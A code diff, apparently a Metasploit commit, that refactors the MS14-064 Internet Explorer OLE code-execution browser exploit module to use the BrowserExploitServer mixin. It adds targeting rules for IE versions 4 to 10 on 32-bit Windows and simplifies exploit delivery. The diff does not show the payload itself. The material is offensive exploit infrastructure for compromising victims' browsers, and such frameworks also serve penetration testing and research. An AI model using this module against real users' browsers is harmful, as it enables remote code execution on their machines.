use BrowserExploitServer

Author: spdfire

modules/exploits/windows/browser/ms14_064_ole_code_execution.rb

@@ -8,7 +8,7 @@
 class Metasploit4 < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
-  include Msf::Exploit::Remote::HttpServer::HTML
+  include Msf::Exploit::Remote::BrowserExploitServer
   include Msf::Exploit::Remote::BrowserAutopwn
   include Msf::Exploit::Powershell
 
@@ -54,6 +54,14 @@ def initialize(info={})
         [
           [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
         ],
+      'BrowserRequirements' => 
+        {
+          :source  => /script|headers/i,
+          :ua_name => HttpClients::IE,
+          :os_name => /win/i,
+          :arch    => 'x86',
+          :ua_ver  => lambda { |ver| ver.to_i.between?(4, 10) }
+        },
       'DefaultOptions' =>
         {
           'HTTP::compression' => 'gzip'
@@ -295,26 +303,10 @@ def get_html()
 
   end
 
-  def on_request_uri(cli, request)
-    agent = request.headers['User-Agent']
-
+  def on_request_exploit(cli, request, target_info)
     print_status("Requesting: #{request.uri}")
-    if agent =~ /MSIE/ and agent =~ /Windows/
-       ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
-       print_status("Detected Internet Explorer in version: #{ie}")
-       if ie.to_i <= 3 or ie.to_i > 10
-         print_error("This version is NOT vulnerable")
-         send_not_found(cli)
-         return
-       end
-    else
-       print_error("This Browser or OS is NOT vulnerable")
-       send_not_found(cli)
-       return
-    end
-
-    html = get_html()
-    send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })
+    send_exploit_html(cli, get_html())
   end
+
 end